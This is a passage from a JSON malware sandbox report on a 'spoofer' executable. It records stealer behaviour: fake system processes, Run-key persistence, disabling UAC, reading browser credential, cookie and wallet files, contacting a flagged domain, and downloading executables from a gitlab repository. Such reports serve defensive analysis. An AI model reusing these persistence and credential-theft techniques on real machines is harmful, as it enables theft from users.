00000000-00002136.00000001.137903.08C7C000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SysWOW64\\Kerberos.DLL\" (Indicator: \"kerberos\"; Source: \"00000000-00002136.00000001.137903.08C7C000.00000004.mdmp\")\n Found string \"icrosoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00002136.00000001.137903.08D33000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00002136.00000001.137903.091B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access web session cookie","description":"Found string \"--profile-directory=Default\" (Indicator: \"--profile-directory=\"; File: \"msedge.exe\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-794","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; File: \"Sexsoldier Spoofer.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00002136.00000000.136196.70865000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"$63","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to perform SQL operations","description":"Found string \" www.upx.sourceforge.net\"\n \"msedgeupdate.dll\" was detected as \"Borland Delphi 3.0 (???)\"\n \"svchost.exe\" was detected as \"Microsoft Visual C# v7.0 / Basic .NET\"\n \"MicrosoftEdgeWebview2Setup.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"psmachine.dll\" was detected as \"Borland Delphi 3.0 (???)\"\n \"psuser.dll\" was detected as \"Borland Delphi 3.0 (???)\"\n \"MicrosoftEdgeUpdateCore.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"MicrosoftEdgeUpdate.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"MicrosoftEdgeUpdateBroker.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"MicrosoftEdgeUpdateOnDemand.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"RPZ-HWID.dll\" was detected as \"Microsoft Visual C# v7.0 / Basic .NET\"\n \"msedgeupdateres_el.dll\" was detected as \"Borland Delphi 3.0 (???)\"\n \"msedgeupdateres_ml.dll\" was detected as \"Borland Delphi 3.0 (???)\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"$6e","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"SexsoldierSpoofer.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4648)\n \"conhost.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4224)\n \"svchost.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 3232)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 2136)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file is packed with UPX","description":"\"lsass.exe\" has a section named \"UPX0\"\n \"lsass.exe\" has a section named \"UPX1\"\n \"lsass.exe\" has a section named \"UPX2\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-7","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"lsass.exe\" has section name UPX1 with entropy \"7.999927179278133\"\n \"msedgeupdate.dll\" has section name .rsrc with entropy \"7.142495122773516\"\n \"svchost.exe\" has section name .text with entropy \"7.980274691154619\"\n \"svchost.exe\" has section name .wftqes with entropy \"7.983004384799213\"\n \"MicrosoftEdgeWebview2Setup.exe\" has section name .rsrc with entropy \"7.985613920462138\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"11/24 Antivirus vendors marked sample as malicious (45% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceExW@KERNEL32.DLL at 00000000-00002136-52215-135-00EDDAD1\n FindResourceExW@KERNEL32.DLL at 00000000-00002136-52215-139-00EDD934","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$6f","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"svchost.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"svchost.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"svchost.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"svchost.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"svchost.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"svchost.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"svchost.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"\n \"MicrosoftEdgeUpdate.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"MicrosoftEdgeUpdate.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"MicrosoftEdgeUpdate.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"MicrosoftEdgeUpdate.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"MicrosoftEdgeUpdate.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"MicrosoftEdgeUpdate.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"MicrosoftEdgeUpdate.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"General","name":"Sends UDP traffic","description":"\"UDP connection to 1.1.1.1\"\n \"UDP connection to 52.123.251.207\"","origin":"Network Traffic","mitre_attack_id":"T1095","relevance":1,"id":"network-5","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$70","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"svchost.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")\n \"svchost.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"LSASS\"; Value: \"%PROGRAMFILES%\\(x86)\\Windows Multimedia Platform\\lsass.exe\"), \"svchost.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"ONENOTEM\"; Value: \"%PROGRAMFILES%\\(x86)\\windows nt\\ONENOTEM.EXE\"), \"svchost.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"SYSTEMAUTOLAUNCHER\"; Value: \"%APPDATA%\\SystemData\\svchost.exe\"), \"MicrosoftEdgeUpdate.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION OPTIONS\\MICROSOFTEDGEUPDATE.EXE\"), \"MicrosoftEdgeUpdate.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION OPTIONS\\MICROSOFTEDGEUPDATE.EXE\"; Key: \"DISABLEEXCEPTIONCHAINVALIDATION\"; Value: \"0000000000\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$71","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"UDP traffic to 1.1.1.1 on port 443\n TCP traffic to 104.16.248.249 on port 443 is sent without HTTP header\n TCP traffic to 1.1.1.1 on port 443 is sent without HTTP header\n TCP traffic to 152.53.49.102 on port 443 is sent without HTTP header\n TCP traffic to 172.65.251.78 on port 443 is sent without HTTP header\n TCP traffic to 52.123.225.104 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for null IAT Directory of PE file \"svchost.exe\"\n YARA signature for null IAT Directory of PE file \"ONENOTEM.EXE\"\n YARA signature for null IAT Directory of PE file \"lsass.exe\"\n YARA signature for invalid Timestamp of PE file \"svchost.exe\"\n YARA signature for invalid Timestamp of PE file \"ONENOTEM.EXE\"\n YARA signature for invalid Timestamp of PE file \"lsass.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-153","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"Pattern Matching","name":"Yara Signature Match - Indicators","description":"YARA signature \"INDICATOR_EXE_Packed_Fody\" matched file \"RPZ-HWID.dll\" as \"Detects executables manipulated with Fody\"\n YARA signature \"INDICATOR_EXE_Packed_Fody\" matched file \"sample.bin\" as \"Detects executables manipulated with Fody\"","origin":"YARA Signature","relevance":9,"id":"yara-553","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"\\\\.\\root\\cimv2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00004952-00002713-1110709421\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$72","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$73","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"svchost.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"$74","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"lsass.exe\" has an entrypoint in section \"UPX1\"\n \"svchost.exe\" has an entrypoint in section \".gyxnjd\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$75","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"lsass.exe\" claims program is from Thu Jan 1 00:00:00 1970\n \"svchost.exe\" claims program is from Tue Jun 25 00:10:56 2047\n \"svchost.exe\" claims program is from Tue Jul 10 00:28:17 1979\n \"RPZ-HWID.dll\" claims program is from Sun Oct 1 15:51:13 2051","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a fake system process","description":"Process \"svchost.exe\" at non-system pathway \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\59eef78126d8\\svchost.exe\" (UID: 00000000-00004952)\n Process \"svchost.exe\" at non-system pathway \"%APPDATA%\\SystemData\\svchost.exe\" (UID: 00000000-00003232)\n Process \"svchost.exe\" at non-system pathway \"%TEMP%\\svchost.exe\" (UID: 00000000-00003088)","origin":"Monitored Target","mitre_attack_id":"T1036.005","relevance":10,"id":"target-33","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"svchost.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\svchost.exe\"\" - (UID: 00000000-00003232)\n \"MicrosoftEdgeUpdate.exe\" called \"CreateProcessW\" with parameter \"\"%PROGRAMFILES%\\(x86)\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe\" /handoff \"appguid={F3017226-FE2A-4295-8BDF-00C3A9A7E4C5}&app\" - (UID: 00000000-00007728)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a system process in suspended mode (likely for process injection)","description":"\"svchost.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\svchost.exe\"\" - (UID: 00000000-00003232)","origin":"API Call","mitre_attack_id":"T1055.012","relevance":10,"id":"api-134","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Found a system process name at an unusual pathway","description":"Process \"conhost.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00004224)\n Process \"svchost.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00004952)\n Process \"svchost.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00003232)\n Process \"svchost.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00003088)","origin":"Monitored Target","mitre_attack_id":"T1036.005","relevance":3,"id":"target-94","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"PE file contains executable resources","description":"msedgeupdateres_ml.dll has PE file in resource with name: \"RT_STRING\" and filetype:CLIPPER COFF executable C2 R1 not stripped - version 37 alignment trap enabled","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":10,"id":"static-97","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"11/24 Antivirus vendors marked sample as malicious (45% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"12/26 Antivirus vendors marked dropped file \"lsass.exe\" as malicious (classified as \"Salat\" with 46% detection rate)\n 14/27 Antivirus vendors marked dropped file \"svchost.exe\" as malicious (classified as \"Gen:Variant.Ransom.PassCrypt\" with 51% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"14/27 Antivirus vendors marked spawned process \"conhost.exe\" (PID: 4224) as malicious (classified as \"Gen:Variant.Ransom.PassCrypt\" with 51% detection rate)\n 12/26 Antivirus vendors marked spawned process \"svchost.exe\" (PID: 4952) as malicious (classified as \"Salat\" with 46% detection rate)\n 14/27 Antivirus vendors marked spawned process \"svchost.exe\" (PID: 3232) as malicious (classified as \"Gen:Variant.Ransom.PassCrypt\" with 51% detection rate)\n 12/26 Antivirus vendors marked spawned process \"ONENOTEM.EXE\" (PID: 5500) as malicious (classified as \"Salat\" with 46% detection rate)\n 12/26 Antivirus vendors marked spawned process \"ONENOTEM.EXE\" (PID: 4272) as malicious (classified as \"Salat\" with 46% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$76","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"sa1atik.cn\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"Network Related","name":"GETs executable from a web server (HTTPS)","description":"GET /webrat1/importantfiles/-/raw/main/7z.dll HTTP/1.1\nHost: gitlab.com\nConnection: Keep-Alive\n\n GET /webrat1/importantfiles/-/raw/main/7z.exe HTTP/1.1\n\n GET /webrat1/importantfiles/-/raw/main/MSTSCLib.dll HTTP/1.1\n\n GET /webrat1/importantfiles/-/raw/main/AxMSTSCLib.dll HTTP/1.1\n\n GET /webrat1/importantfiles/-/raw/main/ffmpeg.exe HTTP/1.1\n","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":5,"id":"network-74","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Checks for files associated with bitcoin mining software","description":"\"ONENOTEM.EXE\" opened file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\BYTECOIN\"\n \"ONENOTEM.EXE\" opened file \"%APPDATA%\\BYTECOIN\"","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-46","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser login credentials (file access)","description":"\"ONENOTEM.EXE\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data\"\n \"ONENOTEM.EXE\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"ONENOTEM.EXE\" trying to open a file \"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data\"\n \"ONENOTEM.EXE\" trying to open a file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\"","origin":"API Call","mitre_attack_id":"T1555.003","relevance":10,"id":"api-281","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Observed sensitive data harvesting behavior","description":"Identified stealer based malicious activity","origin":"Indicator Combinations","relevance":7,"id":"summary-46","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Crypto currency wallets information (file access)","description":"$77","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-101","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"\"ONENOTEM.EXE\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\WEB DATA\"\n \"ONENOTEM.EXE\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State\"\n \"ONENOTEM.EXE\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Last Browser\"\n \"ONENOTEM.EXE\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies\"\n \"ONENOTEM.EXE\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data\"\n \"ONENOTEM.EXE\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Web Data\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"System Destruction","name":"Interacts with the primary disk partition (DR0)","description":"\"ReAgentc.exe\" interacting with \"\\Device\\Harddisk0\\DR0\" using IoControlCode 0x70050","origin":"API Call","mitre_attack_id":"T1542.003","relevance":5,"id":"api-59","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"System Security","name":"Modifies the UAC/LUA settings (Account Control)","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\SYSTEM\"; Key: \"ENABLELUA\"; Value: \"0000000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":8,"id":"registry-10","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$78","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]}],"incidents":[{"name":"Spyware","details_count":5,"details":[{"detail":"Hooks API calls"},{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Attempts to steal desktop application's information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Reads FTP client related files"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Persistence","details_count":7,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Interacts with the primary disk partition (DR0)"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns many processes"},{"detail":"Creates a fake system process"},{"detail":"Drops executable files to the application program directory (%ProgramData%)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Evasive","details_count":7,"details":[{"detail":"Marks file for deletion"},{"detail":"Queries physical drive (often used to detect virtual machines)"},{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"PE file has a section name known to be used by a packer/protector"},{"detail":"Able to check if a debugger is running"},{"detail":"Contains ability to terminate a process"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Network","details_count":1,"details":[{"detail":"GETs executable from a web server (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 12 domains and 12 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]}],"intel_graph":{"map":{"Domain:026042d01ac6e8faf294ec9b5816b47f34558c59cbe3d30937ddc18e43fe1f1e":{"type":"Domain","value":"dns.google","verdict":{"verdict":"unknown"}},"Domain:0b74fc419a513e832e21208d63bc84be7583250b62162557167f8da18e10f635":{"type":"Domain","value":"cloudflare-dns.com","verdict":{"verdict":"unknown"}},"Domain:20a83b42cd540c2fcdee61e4f14793ede774fa8258835683a7c8e885a8c270c2":{"type":"Domain","value":"gitlab.com","verdict":{"verdict":"clean","verdict_source":"domain reputation data","reasons":["reported clean domain"]}},"Domain:5f93289debb5d6dee51139b15fad9cbf01330e06ead87a680481397c29193a8f":{"type":"Domain","value":"sa1atik.cn","verdict":{"verdict":"unknown"}},"Domain:clients2.googleusercontent.com":{"type":"Domain","value":"clients2.googleusercontent.com"},"Domain:deff.nelreports.net":{"type":"Domain","value":"deff.nelreports.net"},"Domain:edge-consumer-static.azureedge.net":{"type":"Domain","value":"edge-consumer-static.azureedge.net"},"Domain:ib.adnxs.com":{"type":"Domain","value":"ib.adnxs.com"},"Domain:m.adnxs.com":{"type":"Domain","value":"m.adnxs.com"},"Domain:px.ads.linkedin.com":{"type":"Domain","value":"px.ads.linkedin.com"},"Domain:r.msftstatic.com":{"type":"Domain","value":"r.msftstatic.com"},"Domain:sb.scorecardresearch.com":{"type":"Domain","value":"sb.scorecardresearch.com"},"Domain:trc.taboola.com":{"type":"Domain","value":"trc.taboola.com"},"File:020c8efa528b97b48328bd33091b7c6aa64ce817aff02506beb58842d4e04d58":{"type":"File","value":"020c8efa528b97b48328bd33091b7c6aa64ce817aff02506beb58842d4e04d58"},"File:0223fa1e8d5bd5e4344fb8734e60d088e79f262c0a24444d01f240bc996f04e5":{"type":"File","value":"0223fa1e8d5bd5e4344fb8734e60d088e79f262c0a24444d01f240bc996f04e5"},"File:06272a11c825ef9773e6138c69693a7a064891cc376a51b32ab889273a0458e7":{"type":"File","value":"06272a11c825ef9773e6138c69693a7a064891cc376a51b32ab8892